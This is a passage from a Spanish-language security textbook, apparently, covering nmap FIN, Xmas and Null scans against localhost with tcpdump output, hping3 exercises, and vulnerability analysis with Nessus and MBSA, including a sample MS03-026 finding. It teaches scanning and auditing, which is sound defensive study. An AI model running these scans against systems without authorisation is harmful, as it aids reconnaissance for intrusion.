Initiating FIN Scan against Knoppix (127.0.0.1) [1 port] at 02:24
Discovered open port 22/tcp on 127.0.0.1
The FIN Scan took 2.05s to scan 1 total ports.
Host Knoppix (127.0.0.1) appears to be up ... good.
Interesting ports on Knoppix (127.0.0.1):
PORT STATE SERVICE
22/tcp open ssh
Nmap run completed -- 1 IP address (1 host up) scanned in 2.120 seconds
Resultado del comando tcpdump -i lo
# tcpdump -i lo
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo, link-type EN10MB
(Ethernet), capture size 96 bytes
02:25:22.718907 IP Knoppix.61719 > Knoppix.ssh: F 335602928:335602928(0) win 3072
La lnea anterior muestra trfico desde el puerto 61719 del cliente nmap hacia el puerto 22 del servidor, la
letra F indica el paquete FIN que enva nmap al servidor para probar el puerto.
02:25:23.718421 IP Knoppix.61720 > Knoppix.ssh: F 335668465:335668465(0) win 4096
La lnea anterior muestra trfico desde el puerto 61720 del cliente nmap hacia el puerto 22 del servidor, la
letra F indica el paquete FIN que enva nmap al servidor para probar el puerto. El cliente nmap no recibe
tramas desde el servidor

107

Parte II, Captulo 2 Exploracin de puertos de red

Conclusin del Resultado nmap:


En esta tcnica TCP FIN scan nmap no se establece una conexin TCP completa, o sea no implementa el
protocolo de tres fases para crear una sesin verdadera. Nmap solo manda al servidor un paquete de tipo
FIN, si el servidor le responde a nmap con un reset o RST entonces el puerto es marcado como cerrado, si
nmap no recibe respuesta del servidor se asume que esta abierto o filtrado. En nuestro caso el puerto 22 se
marca como abierto o filtrado y obviamente nmap nunca recibi respuesta. Esta tcnica generalmente es
implementada en la pila TCP/IP de Unix/Linux.

Alternativa II: Con un puerto que este cerrado como el 53


# nmap -sF -P0 -v -p 53 127.0.0.1
Parametros:
-sF

Para usar la tcnica TCP FIN Scan

-P0

Para evitar que nmap genere mensajes previos intentando determinar si la


maquina se halla activa con el comando ping

-v

Verbosidad del comando

-p 88

Hace escaneo nicamente al puerto 88

127.0.0.1

La direccin IP que vamos a explorar

Resultado del comando nmap -sF -P0 -v -p 88 127.0.0.1

# nmap -sF -P0 -v -p 53 127.0.0.1


Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2006-03-30 02:42 EST
Initiating FIN Scan against Knoppix (127.0.0.1) [1 port] at 02:42
The FIN Scan took 0.05s to scan 1 total ports.
Host Knoppix (127.0.0.1) appears to be up ... good.
Interesting ports on Knoppix (127.0.0.1):
PORT STATE SERVICE
53/tcp closed domain
Nmap run completed -- 1 IP address (1 host up) scanned in 0.158 seconds

Resultado del comando tcpdump -i lo


# tcpdump -i lo
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo, link-type EN10MB
(Ethernet), capture size 96 bytes
02:42:00.621274 IP Knoppix.33950 > Knoppix.domain: F 3482715007:3482715007(0) win 4096
La lnea anterior muestra trfico desde el puerto 33950 del cliente nmap hacia el puerto 53 del servidor, la
letra F indica el paquete de tipo FIN que enva nmap al servidor para probar el puerto.
02:42:00.625728 IP Knoppix.domain > Knoppix.33950: R 0:0(0) ack 3482715008 win0
La lnea anterior muestra trafico desde el puerto 53 del servidor hacia el puerto 33950 cliente, la letra R o
RESET + ACK indican que el servidor no tiene el servicio habilitado sobre ese puerto.

Conclusin del Resultado nmap:


En la tcnica TCP FIN scan nmap no se establece una conexin TCP completa, o sea no implementa el
protocolo de tres fases para crear una sesin verdadera. Nmap solo manda al servidor un paquete de tipo

108

Parte II, Captulo 2 Exploracin de puertos de red

FIN, si el servidor le responde a nmap con un reset o RST entonces el puerto es marcado por nmap como
cerrado, si nmap no recibe respuesta del servidor se asume que esta abierto. En nuestro caso el puerto 53
se marca como cerrado debido a que nmap recibi como respuesta RST + ACK. Esta tcnica es
implementada en la pila TCP/IP de Unix/Linux.

5.3.4 TCP Xmas Tree Scan


Alternativa I: Con uno de los puertos abiertos como el 80
# nmap -sX -P0 -v -p 80 127.0.0.1
Parmetros:
-sX

Para usar la tcnica TCP Xmas Tree Scan

-P0

Para evitar que nmap genere mensajes previos intentando determinar si la


maquina se halla activa con el comando ping

-v

Verbosidad del comando

-p 80

Hace escaneo nicamente al puerto 80

127.0.0.1

La direccin IP que vamos a explorar

Resultado del comando nmap -sF -P0 -v -p 80 127.0.0.1

# nmap -sX -P0 -v -p 80 127.0.0.1


Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2006-03-30 03:04 EST
Initiating XMAS Scan against Knoppix (127.0.0.1) [1 port] at 03:04
Discovered open port 80/tcp on 127.0.0.1
The XMAS Scan took 2.01s to scan 1 total ports.
Host Knoppix (127.0.0.1) appears to be up ... good.
Interesting ports on Knoppix (127.0.0.1):
PORT STATE SERVICE
80/tcp
open http
Nmap run completed -- 1 IP address (1 host up) scanned in 2.114 seconds

Resultado del comando tcpdump -i lo


# tcpdump -i lo
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 96 bytes
03:04:06.818438
IP
Knoppix.36655
3608167536:3608167536(0) win 1024 urg0

>

Uoc.globalteksecurity.com.http:

FP

La lnea anterior muestra trafico desde el puerto 36655 del cliente nmap hacia el puerto 80 del servidor, la
letra FP indica el paquete de tipo FIN+PUSH y URG que enva nmap al servidor para probar el puerto
03:04:07.817172
IP
Knoppix.36656
3608233073:3608233073(0) win 4096 urg 0

>

Uoc.globalteksecurity.com.http:

FP

La lnea anterior muestra trafico desde el puerto 36656 del cliente nmap hacia el puerto 80 del servidor, la
letra FP indica el paquete de tipo FIN+PUSH y URG que enva nmap al servidor para probar el puerto. El
cliente nmap no recibe tramas desde la maquina
Conclusin del Resultado nmap:

109

Parte II, Captulo 2 Exploracin de puertos de red

Para la tcnica TCP Xmas Tree scan nmap al igual que en la tcnica TCP Fin scan no establece una
conexin TCP completa, o sea no implementa el protocolo de tres fases para crear una sesin verdadera.
Nmap solo enva al servidor tres paquetes que son: FIN+URG y PUSH, si el servidor le responde a nmap con
un reset o RST entonces el puerto ser marcado por nmap como cerrado, si nmap no recibe respuesta del
servidor se asume que esta abierto. En este caso el puerto 80 se marca como abierto o filtrado y obviamente
nmap nunca recibi respuesta. Esta tcnica es implementada en la pila TCP/IP de Unix/Linux.

Alternativa II: Con un puerto cerrado como el 8080


# nmap -sX -P0 -v -p 8080 127.0.0.1
Parmetros:
-sX

Para usar la tcnica TCP Xmas tree Scan

-P0

Para evitar que nmap genere mensajes previos intentando determinar si la


maquina se halla activa con el comando ping

-v

Verbosidad del comando

-p 8080

Hace escaneo nicamente al puerto 8080

127.0.0.1

La direccin IP que vamos a explorar

Resultado del comando nmap -sX -P0 -v -p 8080 127.0.0.1


# nmap -sX -P0 -v -p 8080 127.0.0.1
Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2006-03-30 03:23 EST
Initiating XMAS Scan against Knoppix (127.0.0.1) [1 port] at 03:23
The XMAS Scan took 0.04s to scan 1 total ports.
Host Knoppix (127.0.0.1) appears to be up ... good.
Interesting ports on Knoppix (127.0.0.1):
PORT
STATE SERVICE
8080/tcp closed http-proxy
Nmap run completed -- 1 IP address (1 host up) scanned in 0.130 seconds
Resultado del comando tcpdump -i lo

# tcpdump -i lo
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo, link-type EN10MB
(Ethernet), capture size 96 bytes
03:23:08.492225 IP Knoppix.45023 > Knoppix.webcache: FP 1332477041:1332477041(0) win
4096 urg 0
La lnea anterior muestra trafico desde el puerto 45023 del cliente nmap hacia el puerto 8080 del servidor, la
letra FP indica los paquetes de tipo FIN+PUSH y URG que enva nmap al servidor para probar el puerto.
03:23:08.497566 IP Knoppix.webcache > Knoppix.45023: R 0:0(0) ack 1332477042 win 0
La lnea anterior muestra trafico desde el puerto 8080 del servidor hacia el puerto 45023 del cliente, la letra
R o RESET + ACK indican que el servidor no tiene el servicio habilitado sobre ese puerto.
Conclusin del Resultado nmap:

110

Parte II, Captulo 2 Exploracin de puertos de red

En esta tcnica TCP Xmas Tree scan del mismo modo que en la tcnica TCP Fin scan no establece una
conexin TCP completa, o sea no implementa el protocolo de tres fases para crear una sesin verdadera.
Nmap solo enva al servidor tres paquetes que son: FIN+URG y PUSH, si la maquina le responde a nmap con
un reset o RST entonces el puerto ser marcado por nmap como cerrado, si nmap no recibe respuesta de la
maquina se asume que esta abierto o filtrado. En este caso el puerto 8080 se marca como cerrado pues
nmap recibi un paquete Reset + ACK. Esta tcnica es implementada en la pila TCP/IP de Unix/Linux.

5.3.5

TCP Null Scan

Alternativa I: Con el caso de un puerto abierto como el 22


# nmap -sN -P0 -v -p 22 127.0.0.1
Parmetros:
-sN

Para usar la tcnica TCP Null Scan

-P0

Para evitar que nmap genere mensajes previos intentando determinar si la


maquina se halla activa con el comando ping

-v

Verbosidad del comando

-p 22 Hace escaneo nicamente al puerto 22


127.0.0.1

La direccin IP que vamos a explorar

Resultado del comando nmap -sN -P0 -v -p 80 127.0.0.1


# nmap -sN -P0 -v -p 22 127.0.0.1
Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2006-03-30 03:34 EST
Initiating NULL Scan against Knoppix (127.0.0.1) [1 port] at 03:34
Discovered open port 22/tcp on 127.0.0.1
The NULL Scan took 2.01s to scan 1 total ports
Host Knoppix (127.0.0.1) appears to be up ... good.
Interesting ports on Knoppix (127.0.0.1):
PORT STATE SERVICE
22/tcp
open ssh
Nmap run completed -- 1 IP address (1 host up) scanned in 2.100 seconds
Resultado del comando tcpdump -i lo
# tcpdump -i lo
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 96 bytes
03:34:46.499385 IP Knoppix.60223 > Knoppix.ssh: . win 2048
La lnea anterior muestra trafico desde el puerto 60223 del cliente nmap hacia el puerto 22 del servidor, se
observa el signo punto ( . ) ya que todas las banderas estn en ceros.
03:34:47.499333 IP Knoppix.60224 > Knoppix.ssh: . win 2048
La lnea anterior muestra trafico desde el puerto 60224 del cliente nmap hacia el puerto 22 del servidor,
nuevamente se observa el signo punto ( . ) ya que todas las banderas estn en ceros. Cabe aclarar que el
cliente nmap no recibe tramas desde el servidor

Conclusin del Resultado nmap:

111

Parte II, Captulo 2 Exploracin de puertos de red

En esta tcnica TCP Null scan nmap no se establece una conexin TCP completa, o sea no implementa el
protocolo de tres fases para crear una sesin verdadera. Nmap coloca en ceros todos los indicadores de la
cabecera TCP y la manda al servidor, si la maquina responde a nmap con un reset o RST entonces el puerto
es marcado como cerrado, si nmap no recibe respuesta del servidor se da por echo que esta abierto o
filtrado. En este caso el puerto 22 se marca como abierto y concluyendo que nmap nunca recibi respuesta.

Alternativa II: Un puerto cerrado como el 21


# nmap -sN -P0 -v -p 21 127.0.0.1
Parmetros:
-sN
-P0
-v

Para usar la tcnica TCP Null Scan


Para evitar que nmap genere mensajes previos intentando determinar si la
maquina se halla activa con el comando ping
Verbosidad del comando

-p 21 Hace escaneo nicamente al puerto 21


127.0.0.1

La direccin IP que vamos a explorar

Resultado del comando nmap -sN -P0 -v p 21 127.0.0.1

# nmap -sN -P0 -v -p 21 127.0.0.1


Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2006-03-30 06:11 EST
Initiating NULL Scan against Knoppix (127.0.0.1) [1 port] at 06:11
The NULL Scan took 0.04s to scan 1 total ports.
Host Knoppix (127.0.0.1) appears to be up ... good.
Interesting ports on Knoppix (127.0.0.1):
PORT STATE SERVICE
21/tcp closed ftp
Nmap run completed -- 1 IP address (1 host up) scanned in 0.173 seconds
Resultado del comando tcpdump -i lo
# tcpdump -i lo
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 96 bytes

06:11:32.046493 IP Knoppix.40157 > Knoppix.ftp: . win 3072


La lnea anterior muestra trafico desde el puerto 40157 del cliente nmap hacia el puerto 21 del servidor, se
observa el signo punto ( . ) pues todas las banderas estn en ceros.
06:11:32.078536 IP Knoppix.ftp > Knoppix.40157: R 0:0(0) ack 2983156122 win 0
La lnea anterior muestra trafico desde el puerto 21 del servidor hacia el puerto 40157 del cliente, la letra R
o RESET + ACK indican que el servidor no tiene el servicio habilitado sobre ese puerto.

Conclusin del Resultado nmap:


En esta tcnica TCP Null scan nmap no se establece una conexin TCP completa, o sea no implementa el
protocolo de tres fases para crear una sesin verdadera. Nmap pone en ceros todos los indicadores de la
cabecera TCP y la manda al servidor, si la maquina le responde a nmap con un reset o RST entonces el

112

Parte II, Captulo 2 Exploracin de puertos de red

puerto es marcado por nmap como cerrado, si nmap no recibe respuesta del servidor se asume que esta
abierto. Para nuestro caso el puerto 21 se marca como cerrado.

5.3.6

Y si todos los flags estan activados?

Haga captura de paquetes con tcpdump con el servicio web activado y sin activar, para cada item analice sus
respuestas:
# hping3 localhost -UAPRSF p 80 i u1000000, para 1 paquete por segundo
# hping3 localhost -UAPRSF p 80 -i u500000, para 2 paquetes por segundo
# hping3 localhost -UAPRSF p 80 -i u333333, para 3 paquetes por segundo

6.0

Evaluacin del Modulo

Para que sirve la exploracin de puertos?

Desde el punto de vista jurdico es ilcito la exploracin de puertos?

En que consiste el protocolo de tres fases en una conexin tcp?

Que hace la herramienta tcpdump -i any host 172.16.1.14 and host 172.16.1.15 -s0 -w
/home/login/authissue.pcap? Suponga que la IP 172.16.1.14 es un PC Windows XP y la IP 172.16.1.15 es un
servidor Microsoft Active Directory donde los usuarios solo pueden autenticarse desde diferentes IP a la
172.16.1.14.

7.0

Bibliografa relacionada

Cualquier versin de Linux con el software instalado de nmap incluye el comando man nmap, esta
es la forma mas detallada de las diferentes opciones del comando y como usarlo en el diagnostico
de problemas en la red

nmap es (Copyright) 1997,1998 de Fyodor (fyodor@insecure.org, fyodor@insecure.org), este


programa esta basado en el software libre; puede redistribuirse y/o modificarse bajo los terminos
de la Licencia Pblica General GNU tal y como la pblica la Fundacion de SoftwareLibre; Version 2.
Nmap in the Enterprise: Your Guide to Network Scanning, Angela Orebaugh and Becky Pinkard,
Enero 14 de 2008)
Network Security Assessment: From Vulnerability to Patch, Steve Manzuik, Andre Gold, and
Chris Gatford, Nov 16, 2006.

113

Parte II, Captulo 2 Exploracin de puertos de red

114

Captulo 3
Anlisis de Vulnerabilidades de red

Objetivos:

Define en profundidad exploit

Define CVE

Define vulnerabilidad 0 days

Muestra los portales ms importantes donde se reportan vulnerabilidades

Explora las herramientas ms conocidas para hacer exploracin de fallas de red


1.0

Problemtica de las vulnerabilidades

Grupos de personas y organizaciones algunos de tipo underground estn en la bsqueda de


vulnerabilidades en sistemas operativos y aplicaciones informticas, las vulnerabilidades son reportadas por
estas personas y a diario ellos exponen a grandes riesgos los sistemas afectados por esas amenazas, no
importa el segmento de mercado a la que pertenezca la organizacin afectada.
El anlisis de vulnerabilidades se ha convertido en un requisito indispensable dentro del proceso de gestin
de riesgos y es clave dentro del sistema de gestin de la seguridad de la informacin.

1.1

Definicin de vulnerabilidad y exploit

En http://www.cve.mitre.org/about/faq.html#A2, se define Vulnerabilidad como un error de software que


puede usar directamente el intruso para ganar acceso a un sistema de informacin.
Este es el texto original An information security vulnerability is a mistake in software that can be directly
used by a hacker to gain access to a system or network. See the Terminology page for a complete
explanation of how this term is used on the CVE Web site.
El termino Exploit (del ingls to exploit, explotar, aprovechar) se define como el nombre con el que se
identifica un programa informtico malicioso, o parte del programa, que trata de forzar alguna deficiencia o
vulnerabilidad de otro programa. El fin puede ser la destruccin o inhabilitacin del sistema atacado, aunque
normalmente se trata de violar las medidas de seguridad para poder acceder al mismo de forma no
autorizada y emplearlo en beneficio propio o como origen de otros ataques a terceros.

115

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

Los exploits se pueden clasificar segn las categoras de vulnerabilidades utilizadas:

1.2

Vulnerabilidades
Vulnerabilidades
Vulnerabilidades
Vulnerabilidades
Vulnerabilidades
Vulnerabilidades
Vulnerabilidades
Vulnerabilidades
Vulnerabilidades

de
de
de
de
de
de
de
de
de

desbordamiento de buffer.
condicin de carrera (race condition).
error de formato de cadena (format string bugs).
Cross Site Scripting (XSS).
Inyeccin SQL.
Inyeccin de Caracteres (CRLF).
denegacin del servicio
Inyeccin mltiple HTML (Multiple HTML Injection).
ventanas engaosas o mistificacin de ventanas (Window Spoofing).

Anlisis de los trminos definidos

Si se revisa nuevamente la anterior definicin, una vulnerabilidad representa entonces una falla del sistema
informtico o programa y el exploit se aprovecha de la vulnerabilidad, la vulnerabilidad hace que el riesgo
aumente hasta convertirse en una amenaza, la falla del sistema informtico o vulnerabilidad puede ser
aprovechada por un intruso para obtener el control en forma remota o local de los recursos del sistema.
Un exploit que se aprovecha de una vulnerabilidad, fundamentalmente afecta la variable confidencialidad,
pero se puede extender a la variable integridad si modifica el recurso informtico, ahora si el intruso quiere
hacer ms dao, puede afectar la variable disponibilidad del sistema, por ejemplo un ataque a una
vulnerabilidad de buffer overflow impactara las 3 variables del sistema de seguridad:

Confidencialidad
Integridad y
Disponibilidad

Importante
Cuando no exista una solucin conocida para una vulnerabilidad, pero si se conoce como explotarla,
entonces se le conoce como vulnerabilidades 0 days.

El abogado Carlos Santiago lvarez Cabrera en su artculo Honeypots Aspectos penales, Colombia,
Diciembre de 2005, http://cyberlaws.blogspot.com, concluye respecto de las vulnerabilidades, que: La
velocidad de los ataques esta en constante incremento debido a los 0 days vulnerabilityes

1.3

Ejemplos de las vulnerabilidades

El ataque webdefacement afecta las variables confidencialidad e integridad, el 10 de octubre de 2006, la


pgina web del concejo de Barraquilla, Colombia lucia as:

116

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

Figura 3-1: Ejemplo de web defacement


Esto fue reportado por el sitio www.zone-h.org, y es un claro ejemplo de webdefacement que ataca alguna
vulnerabilidad del servidor web, adems el reporte enuncia que el servidor web es un Microsoft Internet
Information Server 6.0.

Figura 3-2: Portal zone-h


En este portal www.zone-h.org aparecen muchos otros sitios que tambin fueron atacados y tenan
diferentes sistemas operativos como Linux y Unix BSD.

117

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

Figura 3-3: Webdefacement por atacante


Esta es una lista muy resumida de los top 50 ataques.

1.4

Problemtica especifica

1.4.1

Cuando fue su ultimo anlisis de vulnerabilidades?

1.4.2

Si se anuncia una nueva vulnerabilidad hoy, cual es su proceso actual para proteger la
red?

2.0

Con que frecuencia se hacen este anlisis en las organizaciones


Es de conocimiento general que hay mas de 20 nuevas vulnerabilidades diarias

Es importante saber si estas vulnerabilidades afectan a su empresa


Se debe tener un historial de sus vulnerabilidades y su correccin
Es clave saber cuando y como fueron corregidas

Antecedentes

Antecedentes
 Generalmente

se tienen medidas
reactivas contra los ataques, se crean
trampas para el momento en que se
produce un ataque y adems se dispone
de herramientas para capturar el trfico
que pasa por un segmento de red

118

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

Figura 3-4: Medidas reactivas


Actualmente las organizaciones tienen medidas reactivas contra los ataques, se crean trampas para el
momento en que se produce un ataque y adems se dispone de herramientas para capturar el trfico que
pasa por un segmento de red.
El otro lado de la exploracin de vulnerabilidades es usarlas como medidas preventivas y para ello, lo que se
busca saber es cun vulnerable son las mquinas de nuestra organizacin.
Se han hecho grandes esfuerzos en la comunidad informtica para crear bases de datos formales donde se
encuentra informacin crtica como: cual es vulnerabilidad, a que sistemas impacta, como se activa la
vulnerabilidad, cual es el cdigo que la activa, como se corrige la vulnerabilidad. Algunos portales
importantes son:

2.1

http://www.securityfocus.com/

Figura 3-5: Portal de vulnerabilidades securityfocus


Es una de las bases de datos mas consultadas por los profesionales en seguridad informtica por el contexto
tcnico aportado.
2.2

http://www.osvdb.org/

Figura 3-6: Portal de vulnerabilidades osvdb


Esta base de datos tiene la mejor informacin sobre vulnerabilidades en el software open source.

2.3

http://secunia.com/

119

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

Figura 3-7: Portal de vulnerabilidades secunida


Secunia tienen las mejores estadsticas de la aparicin de vulnerabilidades por sistema operativo. Se
recomienda probar el software PSI que esta empresa suministra para buscar fallas o vulnerabilidades en
sistemas windows de tipo cliente final.

2.4

http://www.kb.cert.org/vuls/

Figura 3-8: Portal web cert


Al igual que securityfocus, es una de las bases de datos mas consultadas por los profesionales en seguridad
informtica por el contexto tcnico aportado.

3.0

Solucin aproximada

3.1

En general

3.2

Se debe hacer Prevencin de intrusos para la LAN y WAN


Se debe hacer Prevencin de Intrusos en Wireless adems de analizar vulnerabilidades
La solucin debe permitir enviar alarmas por celulares, e-mail, en el momento mismo en que se
presenten las vulnerabilidades (7x24x365) ya sea al interior o al exterior de la red de la
organizacin
Las herramientas deben hacer recomendaciones sobre la accin a tomar para solucionar el
problema, o mejor deben resolver la vulnerabilidad
En lo tcnico

120

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

Descubrimiento y valoracin de activos: Debe estar en capacidad de descubrir los activos o recursos
informticos para su valorizacin o clasificacin segn la criticidad del negocio
Anlisis de vulnerabilidades: Debe hacer exploracin de vulnerabilidades en forma programada
segn las necesidades del anlisis de riesgos
Remediacin: Debe proveer informacin para la remediacin de las vulnerabilidades encontradas y
alimentar un sistema de seguimiento basado en numero de casos
Indicadores de gestin: Debe generar reportes del nivel del riesgo y de cuanto hace falta para
cumplir el estndar internacional de seguridad ISO IEC 17799 o ISO IEC 27001
Desempeo: La herramienta debe hacer un uso eficiente del ancho de banda

4.0

Herramientas ms conocidas

4.1

Contextualizacin

Los sistemas operativos cada vez son ms especializados y es muy probable encontrar un servidor Linux
como servidor web pero es ms probable encontrar Windows XP como estacin de trabajo cliente en los
usuarios finales. Ahora es muy probable encontrar un servidor Windows 2003 como servidor de archivos,
impresoras y archivos, pero poco probable encontrar un Unix haciendo esas funciones.
Esto no quiere decir que uno es menor que otro, quiere decir que cada uno tiene caractersticas deseables
para hacer una tarea especifica, cada sistema es especializado para ciertos servicios.
Ahora las vulnerabilidades por errores de programacin e implementacin son diferentes en cada plataforma,
la solucin a los desbordamientos de memoria o buffers Overflows son diferentes en cada plataforma, y de
hecho hay servicios particulares de gestin de bases de datos que son particulares a un sistema operativo,
por ejemplo MS SQL Server es especifico a Microsoft, es impensable encontrar este motor de gestin en un
servidor Unix BSD o Linux.
Por lo tanto existen herramientas en el mercado especializadas dependiendo de la plataforma del sistema
operativo:
Para hacer este anlisis de vulnerabilidades sobre servidores Linux y Unix es de suma utilidad el programa
Nessus, en cambio para buscar las vulnerabilidades de los servidores y PC de escritorio MS Windows, se
debe usar de preferencia Microsoft Baseline Security Analyzer.
4.2
Nessus presenta una arquitectura modular, cliente-servidor cuyos origines vienen de Opensource,
hoy es una herramienta comercial que dispone de una base de datos de patrones de ataques para lanzar
contra una mquina o conjunto de mquinas con el objetivo de localizar sus vulnerabilidades.

Figura 3-9: Tiempo de ejecucin entre versiones de nessus


La versin a la fecha de nessus es la 3 y enfatiza en la eficiencia del lenguaje de ejecucin de los scripts de
anlisis de vulnerabilidades.

121

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

Figura 3-10: Eficiencia de algoritmos en nessus


Por ejemplo en la grafica anterior se nota que el lenguaje NASL3 el uso de los algoritmos de seguridad ahora
es ms eficiente en el consumo de ciclos de reloj.

Figura 3-11 Consumo de memoria RAM entre versiones de nessus


As mismo se nota que el consumo de memoria RAM es mucho menor que en la anterior versin nessus 2.0

4.3

Limitantes de Nessus

Es una herramienta comercial de origen Opensource, evala los sistemas operativos basado en los
plugins
Crece y escala por los plugins
Hace uso eficiente del ancho de banda
No hace cumplimiento de polticas
No hay remediacin de vulnerabilidades
No hay inventario de recursos informticos
No hay seguimiento basado en tickets
No muestra cuanto hace falta para llegar a la norma
No tiene exploits para comprobar las fallas

4.4
Microsoft Baseline Security Analyzer, o MBSA es una herramienta que permite a los usuarios
y administradores de sistemas Windows verificar la configuracin de seguridad, detectando los posibles
problemas de seguridad en el sistema operativo y los diversos componentes instalados.
MBSA ha sido diseado para analizar las mquinas que utilizan los sistemas operativos Microsoft Windows
NT 4, Windows 2000, 2003, Windows XP (Professional y Home Edition) para determinar la presencia de los
ltimos parches de seguridad pblicados y, adicionalmente, verificar la configuracin de los diversos
componentes para determinar la posible presencia de configuraciones errneas que pueden provocar brechas
en la seguridad.
4.5

Limitantes de MBSA

Es propietario, solo sirve para evaluar vulnerabilidades en Microsoft


Hace uso eficiente del ancho de banda
No hace cumplimiento de polticas
No hay remediacin de vulnerabilidades
No hay inventario de recursos informticos
No hay seguimiento basado en tickets
No muestra cuanto hace falta para llegar a la norma

122

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

No tiene exploits para comprobar las fallas

5.0
Que tipo de precauciones deben tomarse con las herramientas de exploracin de
vulnerabilidades

6.0

Se recomienda poner banners que informen al intruso sobre las polticas de no hacer scanner a
nuestros servicios
Si ya hay logs que nos indiquen que se estn haciendo scaners a nuestros servicios se podra poner
un detector de scaneers como portsentry, courtney, icmpinfo y scan-detector por ejemplo

Quien debe ejecutar las herramientas de exploracin de vulnerabilidades

El Administrador de la red
Los asesores externos en seguridad informtica que estn autorizados por la organizacin
El grupo de investigacin forense encargado de los honeypots de la organizacin
Es recomendable automatizar la ejecucin de estas herramientas as como el envo de los reportes
generados

7.0
Como ayudan
vulnerabilidades

8.0

resultados

obtenidos

por

las

herramientas

de

exploracin

de

Los reportes que generan las herramientas son tan detallados que nos indican exactamente como
arreglar las vulnerabilidades de nuestros sistemas crticos del negocio
Segn las necesidades se debera ejecutar con frecuencia en nuestra red por lo menos cada semana
para buscar vulnerabilidades y detectarlas antes de que los intrusos lo hagan por nosotros
Quien debe leer esos reportes dentro de la organizacin

9.0

los

La direccin de informtica, la direccin de riesgos, auditoria: La alta gerencia debe estar informada
para generarles conciencia sobre el hecho de que los recursos informticos si impactan al negocio al
ser accionados los exploits respectivos que ya son de conocimiento publico

Productos Comerciales

Existe la tendencia de usar el motor de anlisis de vulnerabilidades nessus por su riqueza en caractersticas
y bajo costo, adems del soporte a la extensibilidad y escalabilidad por medio de plugins o componentes que
amplan las caractersticas de nessus.
Una derivacin GNU o libre de nessus que esta creciendo se llama Open VAS y se puede descargar del sitio
www.openvas.org
Algunos productos importantes que usan este motor para el anlisis de vulnerabilidades son Catbird (c)
(www.catbird.com):
9.1
Catbird (c) es muy fuerte pues usa un portal para la gestin centralizada de las vulnerabilidades,
analiza externamente e internamente la red teniendo en cuenta los accesos inalmbricos. Adems hace
monitoreo de servicios de red como el DNS y la disponibilidad de los portales web de las organizaciones.

123

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

Figura 3-12: Catbird portal web basado en nessus


9.2

Tenable Network Security (c) (www.tenablesecurity.com):

Figura 3-13: Tenable Nessus el motor de exploracin de productos comerciales


Su fortaleza es la gestin de los eventos de seguridad y el cumplimiento de las polticas de parches o
suplementos a la infraestructura de servidores y PCs de usuarios. Es vital el anlisis de vulnerabilidades para
saber que suplementos de seguridad se debrian instalar de inmediato.

124

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

10.0

Laboratorios

10.1

Laboratorio: Analisis de vulnerabilidades con Nessus

Se recomienda usar una maquina virtual para emular los diferentes sistemas operativos, es recomendable el
backtrack para el servidor linux y una maquina virtual para un servidor windows.
Antes de empezar con cualquier prueba es importante remarcar que la actividad de la herramienta nessus
para exploracin de vulnerabilidades se considera un ataque contra la mquina objetivo, y como tal nunca
debe hacerse sin previo permiso del administrador del sistema implicado.
Nos planteamos ahora ver cul es el estado de la seguridad de nuestra mquina virtual windows y linux.

Prerrequisitos:

Acceso a internet para bajar el software en demo.


Maquina virtual con servidor windows vctima
Maquina virtual con servidor linux vctima

Pasos:

Descargue la ltima version del software nessus para su sistema operativo windows

Instale el software

Por la opcion Nessus server manager elija "Obtain an activation code"

125

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

Digite su direccion de correo parque el fabricante le envie la licencia de tipo hogar

Revise que en su buzon de correo este la licencia y diligencie esa informacion requerida en Nessus
Server Manager

El sistema le informar que esta descargando los plugins o base de datos de patrones de ataques
para hacer analisis de vulnerabilidades de red. Este paso durar en promedio una hora.

126

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

Ahora por la opcion "Manage users..." cree un usuario para utilizar el software via web por ejemplo
creen el usuario con nombre "administrador" con perfil de administracin.

Inicie el cliente nessus en un explorador web hacia la direccion https://localhost:8834/


Haga inicio de sesin como usuario de perfil administrador, esto le permite hacer exploracion de
puertos con todas las tecnicas conocidas
Crear una politica por defecto por ejemplo que se llame "default", diligencie la descripcin de la
politica y presione next

Tome la opcion scan e indicar como Target el objetivo de nuestro anlisis


En concreto ser el host local 127.0.0.1 para buscar fallas localmente o la IP del servidor que se
desea auditar o la red entera si es lo pertinente

127

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

Una vez hecho esto se debe hacer la busqueda de puertos presionando la tecla "Launch scan"
Para saber el estado de la tarea presione el boton "Browse"

Finalmente, comprobar el informe de resultados de vulnerabilidades.

128

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

El auditor debe concentrarse en las fallas mas graves y estas aparecen en color rojo en los informes
emitidos por las herramientas, por ejemplo:
MS03-026: Microsoft RPC Interface Buffer Overrun (823980)
Synopsis:
Arbitrary code can be executed on the remote host.
Description:
The remote version of Windows contains a flaw in the function RemoteActivation() in
its RPC interface which may allow an attacker to execute arbitrary code on the remote
host with the SYSTEM privileges. A series of worms (Blaster) are known to exploit this
vulnerability in the wild.
Risk factor:
Critical
CVSS Base Score:10.0
CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C
Solution:
http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx
Plugin ID:

11808
CVE:
CVE-2003-0352
BID:

8205
Other references:
OSVDB:2100, IAVA:2003-A-0011

Resultado: Se describen algunas fallas


Puerto

Severidad

Web(80)

Hueco
